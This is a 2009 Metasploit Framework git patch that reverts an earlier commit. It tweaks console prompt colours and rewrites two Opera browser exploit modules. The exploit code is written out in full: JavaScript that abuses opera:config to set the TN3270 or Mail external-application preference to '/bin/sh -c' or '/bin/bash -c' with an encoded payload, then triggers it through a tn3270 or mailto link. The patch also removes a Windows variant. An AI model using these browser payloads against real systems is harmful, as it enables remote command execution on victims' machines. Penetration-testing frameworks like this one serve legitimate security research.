From bd2da7c12a8564aba79be6ea17a8cb10ecfcd52e Mon Sep 17 00:00:00 2001
From: James Lee <James_Lee@rapid7.com>
Date: Tue, 18 Aug 2009 04:53:35 +0000
Subject: [PATCH] revert overzealous commit

git-svn-id: file:///home/svn/framework3/trunk@6961 4d416f70-5f16-0410-b530-b9f4589650da
---
 lib/msf/core/payload/generic.rb               |   1 -
 lib/msf/ui/console/command_dispatcher/core.rb |   4 +-
 lib/msf/ui/console/driver.rb                  |   2 +-
 lib/rex/ui/text/shell.rb                      |   2 +-
 .../multi/browser/opera_configoverwrite.rb    |  71 +++++------
 .../multi/browser/opera_historysearch.rb      | 120 ++++++------------
 6 files changed, 73 insertions(+), 127 deletions(-)

diff --git a/lib/msf/core/payload/generic.rb b/lib/msf/core/payload/generic.rb
index f47afd44bc..c7d716d3c4 100644
--- a/lib/msf/core/payload/generic.rb
+++ b/lib/msf/core/payload/generic.rb
@@ -231,7 +231,6 @@ protected
 				raise NoCompatiblePayloadError, "Could not locate a compatible payload for #{actual_platform.names.join("/")}/#{actual_arch}"
 			else
 				dlog("Selected payload #{actual_payload.refname} from generic payload #{refname}", 'core', LEV_2)
-				print_status("Selected payload #{actual_payload.refname} from generic payload #{refname}")
 				# Share our datastore with the actual payload so that it has the
 				# appropriate values to substitute ad so on.
 				self.actual_payload.share_datastore(self.datastore)
diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb
index 362101c6c1..f4ce92065f 100644
--- a/lib/msf/ui/console/command_dispatcher/core.rb
+++ b/lib/msf/ui/console/command_dispatcher/core.rb
@@ -1442,7 +1442,7 @@ class Core
 		mod.init_ui(driver.input, driver.output)
 
 		# Update the command prompt
-		driver.update_prompt("%c%cya#{mod.type}%c(%b%red#{mod.shortname}%c) ")
+		driver.update_prompt("#{mod.type}(#{mod.shortname}) ")
 	end
 	
 	#
@@ -1745,7 +1745,7 @@ protected
 
 	def show_options(mod) # :nodoc:
 		mod_opt = Serializer::ReadableText.dump_options(mod, '   ')
-		print("\nModule options (#{mod.fullname}):\n\n#{mod_opt}\n") if (mod_opt and mod_opt.length > 0)
+		print("\nModule options:\n\n#{mod_opt}\n") if (mod_opt and mod_opt.length > 0)
 	
 		# If it's an exploit and a payload is defined, create it and
 		# display the payload's options
diff --git a/lib/msf/ui/console/driver.rb b/lib/msf/ui/console/driver.rb
index 2099616a93..2c1e43a7d3 100644
--- a/lib/msf/ui/console/driver.rb
+++ b/lib/msf/ui/console/driver.rb
@@ -21,7 +21,7 @@ class Driver < Msf::Ui::Driver
 	ConfigCore  = "framework/core"
 	ConfigGroup = "framework/ui/console"
 
-	DefaultPrompt     = "%u%whimsf%c"
+	DefaultPrompt     = "%umsf"
 	DefaultPromptChar = ">%c"
 
 	#
diff --git a/lib/rex/ui/text/shell.rb b/lib/rex/ui/text/shell.rb
index 96c9ccfd9d..a59160eeae 100644
--- a/lib/rex/ui/text/shell.rb
+++ b/lib/rex/ui/text/shell.rb
@@ -160,12 +160,12 @@ module Shell
 		# Substitute colors
 		new_prompt.gsub!(/%u/, colorize('underline'))
 		new_prompt.gsub!(/%b/, colorize('bold'))
-		new_prompt.gsub!(/%cya/, colorize('cyan'))
 		new_prompt.gsub!(/%c/, colorize('clear'))
 		new_prompt.gsub!(/%red/, colorize('red'))
 		new_prompt.gsub!(/%grn/, colorize('green'))
 		new_prompt.gsub!(/%blu/, colorize('blue'))
 		new_prompt.gsub!(/%yel/, colorize('yellow'))
+		new_prompt.gsub!(/%cya/, colorize('cyan'))
 		new_prompt.gsub!(/%whi/, colorize('white'))
 		new_prompt.gsub!(/%mag/, colorize('magenta'))
 		new_prompt.gsub!(/%blk/, colorize('black'))
diff --git a/modules/exploits/multi/browser/opera_configoverwrite.rb b/modules/exploits/multi/browser/opera_configoverwrite.rb
index 6ead6b1aaf..d0f49accc5 100644
--- a/modules/exploits/multi/browser/opera_configoverwrite.rb
+++ b/modules/exploits/multi/browser/opera_configoverwrite.rb
@@ -55,12 +55,12 @@ class Metasploit3 < Msf::Exploit::Remote
 				},
 			'Targets'        =>
 				[
-					[ 'Opera < 9.10 Windows', 
-						{
-							'Platform' => 'win',
-							'Arch' => ARCH_X86,
-						}
-					],
+					#[ 'Opera < 9.10 Windows', 
+					#	{
+					#		'Platform' => 'win',
+					#		'Arch' => ARCH_X86,
+					#	}
+					#],
 					[ 'Opera < 9.10 Unix Cmd', 
 						{
 							'Platform' => 'unix',
@@ -78,7 +78,7 @@ class Metasploit3 < Msf::Exploit::Remote
 	def on_request_uri(cli, request)
 
 		case request.uri
-		when /payload/
+		when /payload$/
 			print_status("Generating payload for #{target} #{target.platform}")
 			# Re-generate the payload
 			if ((p = regenerate_payload(cli)) == nil)
@@ -86,10 +86,12 @@ class Metasploit3 < Msf::Exploit::Remote
 				send_not_found(cli)
 				return
 			end
-			content = Msf::Util::EXE.to_win32pe_vbs(p.encoded)
+			# NOTE: Change this to the new API when commiting to trunk
+			#content = Msf::Util::EXE.to_win32pe(p.encoded)
+			#content = Rex::Text.to_win32pe(p.encoded)
+			content = "foo"
 			print_status("Generated #{content.length} bytes")
-			#headers = { 'Content-Type' => 'application/octet-stream' }
-			headers = { 'Content-Type' => 'text/html' }
+			headers = { 'Content-Type' => 'application/octet-stream' }
 		when get_resource
 			print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
 			content =  "<body><script>"
@@ -111,7 +113,6 @@ class Metasploit3 < Msf::Exploit::Remote
 		p = regenerate_payload(cli).encoded
 		#print_status(p)
 		shellcode = Rex::Text.to_hex(p, "%")
-		shellcode = Rex::Text.to_hex("foo", "%")
 		js = <<ENDJS
 blank_iframe = document.createElement('iframe');
 blank_iframe.src = 'about:blank';
@@ -120,35 +121,25 @@ blank_iframe.setAttribute('style', 'display:none');
 document.body.appendChild(blank_iframe);
 blank_iframe_window.eval(
 	"config_iframe = document.createElement('iframe');" +
-	"config_iframe.setAttribute('id', 'config_window');" +
-	"config_iframe.src = 'opera:config';" +
-	"document.body.appendChild(config_iframe);" +
-	"exe_iframe = document.createElement('img');" +
-	"exe_iframe.src = '#{get_resource}?payload.jpg';" +
-	"exe_iframe.onload = function () {" +
-	"	cache_iframe = document.createElement('iframe');" +
-	"	cache_iframe.src = 'opera:cache';" +
-	"	cache_iframe.onload = function ()" +
-	"	{" +
-	"		config_window.eval" +
-	"		(\\"" +
-	"		old_handler = opera.getPreference('Network','TN3270 App');" +
-	"		shellcode = '#{shellcode}';" +
-	"		opera.setPreference('Network','TN3270 App','/bin/sh -c ' + unescape(shellcode));" +
-	"		app_link = document.createElement('a');" +
-	"		app_link.setAttribute('href', 'tn3270://#{Rex::Text.rand_text_alpha(rand(5)+5)}');" +
-	//"		app_link.click();" +
-	"		setTimeout(function () {opera.setPreference('Network','TN3270 App',old_handler)},1000);" +
-	"		\\");" +
-	"	};" +
-	"	document.body.appendChild(cache_iframe);" +
-	"};" +
-	"exe_iframe.onerror = function (e) {" +
-	"	for (var i in e) {" +
-	"		alert(i);" +
-	"	}" +
-	"};" +
-	"document.body.appendChild(exe_iframe);" +
+    "config_iframe.setAttribute('id', 'config_iframe_window');" +
+    "config_iframe.src = 'opera:config';" +
+    "document.body.appendChild(config_iframe);" +
+    "cache_iframe = document.createElement('iframe');" +
+    "cache_iframe.src = 'opera:cache';" +
+    "cache_iframe.onload = function ()" +
+    "{" +
+    "	config_iframe_window.eval" +
+    "	(\\"" +
+	"	old_handler = opera.getPreference('Network','TN3270 App');" +
+	"	shellcode = '#{shellcode}';" +
+    "	opera.setPreference('Network','TN3270 App','/bin/sh -c ' + unescape(shellcode));" +
+    "	app_link = document.createElement('a');" +
+    "	app_link.setAttribute('href', 'tn3270://#{Rex::Text.rand_text_alpha(rand(5)+5)}');" +
+    "	app_link.click();" +
+    "	setTimeout(function () {opera.setPreference('Network','TN3270 App',old_handler)},1000);" +
+    "	\\");" +
+    "};" +
+    "document.body.appendChild(cache_iframe);" +
 "");
 ENDJS
 
diff --git a/modules/exploits/multi/browser/opera_historysearch.rb b/modules/exploits/multi/browser/opera_historysearch.rb
index 3b13a39c39..500f4479a7 100644
--- a/modules/exploits/multi/browser/opera_historysearch.rb
+++ b/modules/exploits/multi/browser/opera_historysearch.rb
@@ -70,12 +70,12 @@ class Metasploit3 < Msf::Exploit::Remote
 			'Targets'        =>
 				[
 					#[ 'Automatic', {  } ],
-					[ 'Opera < 9.61 Windows', 
-						{
-							'Platform' => 'win',
-							'Arch' => ARCH_X86,
-						}
-					],
+					#[ 'Opera < 9.61 Windows', 
+					#	{
+					#		'Platform' => 'win',
+					#		'Arch' => ARCH_X86,
+					#	}
+					#],
 					[ 'Opera < 9.61 Unix Cmd', 
 						{
 							'Platform' => 'unix',
@@ -104,21 +104,37 @@ class Metasploit3 < Msf::Exploit::Remote
 			^
 
 		case request.uri
-		when /#{get_resource}\.exe/
-			p = regenerate_payload(cli)
-			if (p.nil?)
-				send_not_found(cli)
-				return
-			end
-			content = Msf::Util.to_win32pe(p.encoded)
-			headers['Content-Type'] = 'application/octet-stream'
 		when /[?]jspayload/
 			p = regenerate_payload(cli)
 			if (p.nil?)
 				send_not_found(cli)
 				return
 			end
-			content = generate_cmd(target, p)
+			# We're going to run this through unescape(), so make sure
+			# everything is encoded
+			penc = Rex::Text.to_hex(p.encoded, "%")
+			content = 
+				%Q{
+					var s = document.createElement("iframe");
+
+					s.src="opera:config";
+					s.id="config_window";
+					document.body.appendChild(s);
+					config_window.eval(
+						"var cmd = unescape('/bin/bash -c %22#{penc}%22 ');" +
+						"old_app = opera.getPreference('Mail','External Application');" +
+						"old_handler = opera.getPreference('Mail','Handler');" +
+						"opera.setPreference('Mail','External Application',cmd);" +
+						"opera.setPreference('Mail','Handler','2');" +
+						"app_link = document.createElement('a');" +
+						"app_link.setAttribute('href', 'mailto:a@b.com');" +
+						"app_link.click();" +
+						"setTimeout(function () {opera.setPreference('Mail','External Application',old_app)},0);" +
+						"setTimeout(function () {opera.setPreference('Mail','Handler',old_handler)},0);" +
+					"");
+					setTimeout(function () {window.location='about:blank'},1);
+				}
+
 		when /[?]history/
 			js = %Q^
 				window.onload = function() { 
@@ -136,14 +152,12 @@ class Metasploit3 < Msf::Exploit::Remote
 			print_status("Sending #{self.name} to #{cli.peerhost} for request #{request.uri}")
 
 			js = %Q^
-				if (window.opera) {
-					var wnd = window;
-					while (wnd.parent != wnd) {
-						wnd = wnd.parent;
-					}
-					url = location.href;
-					wnd.location = url + "?history#<script src='" + url +"?" + "jspayload=1'/><!--"; 
+				var wnd = window;
+				while (wnd.parent != wnd) {
+					wnd = wnd.parent;
 				}
+				url = location.href;
+				wnd.location = url + "?history#<script src='" + url +"?" + "jspayload=1'/><!--"; 
 				^
 			content = %Q^
 				#{html_hdr}
@@ -157,69 +171,11 @@ class Metasploit3 < Msf::Exploit::Remote
 			send_not_found(cli)
 			return
 		end
+		content.gsub!(/^\t{4}/, '')
+		content.gsub!(/\t/, ' ')
 
 		send_response_html(cli, content, headers)
 		handler(cli)
 	end
 
-	def generate_cmd(target, payload)
-		if (target.name =~ /Windows/) 
-			config_window_js = %Q{
-				var cmd = unescape('cmd.exe /c calc.exe');
-				old_app = opera.getPreference('Mail','External Application');
-				old_handler = opera.getPreference('Mail','Handler');
-				opera.setPreference('Mail','External Application',cmd);
-				opera.setPreference('Mail','Handler','2');
-				app_link = document.createElement('a');
-				app_link.setAttribute('href', 'mailto:a@b.com');
-				app_link.click();
-				setTimeout(function () {opera.setPreference('Mail','External Application',old_app)},0);
-				setTimeout(function () {opera.setPreference('Mail','Handler',old_handler)},0);
-			}
-			Rex::Text.compress(config_window_js)
-			toplevel_js = %Q{
-				var config_iframe = document.createElement("iframe");
-				config_iframe.src="opera:config";
-				config_iframe.id="config_window";
-				document.body.appendChild(config_iframe);
-
-				chache_iframe = document.createElement("iframe");
-				exe_iframe = document.createElement("script");
-				exe_iframe.src = "#{get_resource + ".exe"}";
-				exe_iframe.onload = function () { 
-					config_window.eval("#{config_window_js}");
-					setTimeout(function () {window.location='about:blank'},1);
-					document.body.appendChild(cache_iframe);
-				};
-				document.body.appendChild(exe_iframe);
-			}
-		elsif (target.name =~ /Unix/)
-			# We're going to run this through unescape(), so make sure
-			# everything is encoded, not just chars that are special to html,
-			# ala encode_uri().
-			penc = Rex::Text.to_hex(payload.encoded, "%")
-			content = %Q{
-				var s = document.createElement("iframe");
-
-				s.src="opera:config";
-				s.id="config_window";
-				document.body.appendChild(s);
-				config_window.eval(
-					"var cmd = unescape('/bin/bash -c %22#{penc}%22 ');" +
-					"old_app = opera.getPreference('Mail','External Application');" +
-					"old_handler = opera.getPreference('Mail','Handler');" +
-					"opera.setPreference('Mail','External Application',cmd);" +
-					"opera.setPreference('Mail','Handler','2');" +
-					"app_link = document.createElement('a');" +
-					"app_link.setAttribute('href', 'mailto:a@b.com');" +
-					"app_link.click();" +
-					"setTimeout(function () {opera.setPreference('Mail','External Application',old_app)},0);" +
-					"setTimeout(function () {opera.setPreference('Mail','Handler',old_handler)},0);" +
-				"");
-				setTimeout(function () {window.location='about:blank'},1);
-			}
-		return content
-		end
-	end
-
 end